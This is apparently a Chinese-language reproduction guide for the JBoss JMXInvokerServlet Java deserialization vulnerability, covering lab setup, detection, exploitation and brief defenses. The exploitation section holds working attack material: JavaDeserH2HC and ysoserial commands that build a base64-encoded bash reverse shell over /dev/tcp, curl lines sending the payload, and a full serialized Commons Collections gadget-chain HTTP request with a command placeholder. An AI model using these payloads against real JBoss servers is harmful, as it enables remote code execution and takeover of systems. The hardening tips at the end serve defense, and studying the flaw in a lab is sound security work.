JBoss简介
Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
默认端口:8080
下载地址:https://jbossas.jboss.org/downloads/
漏洞描述
JBoss在 /invoker/JMXInvokerServlet
请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections
中的 Gadget
执行任意代码。
由于JBoss
中invoker/JMXInvokerServlet
路径对外开放,JBoss的jmx
组件⽀持Java反序列化导致产生漏洞。
影响版本
JBoss应用服务器:3.2.4~4.0.5
环境复现
java环境:JDK 6
在官网下载相应的JBoss版本
配置环境变量
1 2
| JBOSS_HOME C:\xxx(JBoss安装地址)
|
外网访问
1 2 3 4
| JBoss6: \server\default\deploy\jbossweb.sar\server.xml JBoss4: \server\default\deploy\jboss-web.deployer\server.xml
将address="${jboss.bind.address}"改成address="0.0.0.0"
|
启动
1 2 3
| JBoss\bin\run.bat
访问http://127.0.0.1:8080
|
漏洞利用
JBoss漏洞检测
- JBoss漏洞检测工具下载
https://github.com/fupinglee/JavaTools/tree/master/JBoss
- 先探测是否具有JBoss服务
根据HTTP头部
1 2 3 4 5 6
| # http头部显示jboss服务和版本信息 Server: JBoss-EAP/7 # http头部显示,Apache-Coyote 是Tomcat的连接器,被多个Java servlet容器使用作为socket处理组件,有tomcat,jboss等 Server: Apache-Coyote/1.1 # X-Powered-By X-Powered-By: Servlet 2.4; JBoss-4.2.3.GA
|
访问如下地址
1
| http://127.0.0.1:8080/invoker/JMXInvokerServlet
|
如果提示下载信息,则说明存在此漏洞
监听端口
下载JavaDeserH2HC工具
https://github.com/joaomatosf/JavaDeserH2HC
1 2 3
| javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 127.0.0.1:8888 curl http:
|
也可以使用ysoserial.jar
工具
https://github.com/frohoff/ysoserial
这里命令是bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
,需要先进行编码
1 2 3 4
| java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" > jboss.ser curl http: -x 是设置代理
|
HTTP头部抓包
1 2 3 4 5 6 7 8 9 10
| POST /invoker/JMXInvokerServlet HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Accept: */* Content-Length: 1630 Content-Type: application/x-www-form-urlencoded Expect: 100-continue Connection: close
%ac%ed=&sr=&2sun.reflect.annotation.AnnotationInvocationHandlerU%ca%f5=&%cb%7e%a5=&L=&memberValuest=&Ljava%2futil%2fMap%3bL=&typet=&Ljava%2flang%2fClass%3bxps%7d=&java.util.Mapxr=&java.lang.reflect.Proxy%e1%27%da+%cc=&C%cb=&L=&ht=&%25Ljava%2flang%2freflect%2fInvocationHandler%3bxpsq=&%7e=&sr=&*org.apache.commons.collections.map.LazyMapn%e5%94%82%9ey=&%94=&L=&factoryt=&%2cLorg%2fapache%2fcommons%2fcollections%2fTransformer%3bxpsr=&%3aorg.apache.commons.collections.functors.ChainedTransformer0%c7%97%ec%28z%97=&%5b=&iTransformerst=&-%5bLorg%2fapache%2fcommons%2fcollections%2fTransformer%3bxpur=&-%5bLorg.apache.commons.collections.Transformer%3b%bdV*%f1%d84=&%99=&xp=&sr=&%3borg.apache.commons.collections.functors.ConstantTransformerXv%90=&A=&%b1%94=&L=&iConstantt=&Ljava%2flang%2fObject%3bxpvr=&java.lang.Runtime=&xpsr=&%3aorg.apache.commons.collections.functors.InvokerTransformer%87%e8%ffk%7b%7c%ce8=&%5b=&iArgst=&%5bLjava%2flang%2fObject%3bL=&iMethodNamet=&Ljava%2flang%2fString%3b%5b=&iParamTypest=&%5bLjava%2flang%2fClass%3bxpur=&%5bLjava.lang.Object%3b%90%ceX%9f=&s%29l=&xp=&t=&getRuntimeur=&%5bLjava.lang.Class%3b%ab=&%d7%ae%cb%cdZ%99=&xp=&t=&getMethoduq=&%7e=&vr=&java.lang.String%a0%f0%a48z%3b%b3B=&xpvq=&%7e=&sq=&%7e=&uq=&%7e=&puq=&%7e=&t=&invokeuq=&%7e=&vr=&java.lang.Object=&xpvq=&%7e=&sq=&%7e=&ur=&%5bLjava.lang.String%3b%ad%d2V%e7%e9=&%7bG=&xp=&t=&{这里为输入命令}&execuq=&%7e=&q=&%7e=&%23sq=&%7e=&sr=&java.lang.Integer=&%e2%a0%a4%f7%81%878=&I=&valuexr=&java.lang.Number%86%ac%95=&%94%e0%8b=&xp=&sr=&java.util.HashMap=&%da%c1%c3=&%60%d1=&F=&loadFactorI=&thresholdxp%3f@=&w=&xxvr=&java.lang.Override=&xpq=&%7e=&%3a=
|
防御措施
删除http-invoker.sar
组件
设置http-invoker
1 2 3 4
| jboss\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml
在security-constraint 标签中添加以下代码 <url-pattern>/*</url-pattern>
|
升级JBoss版本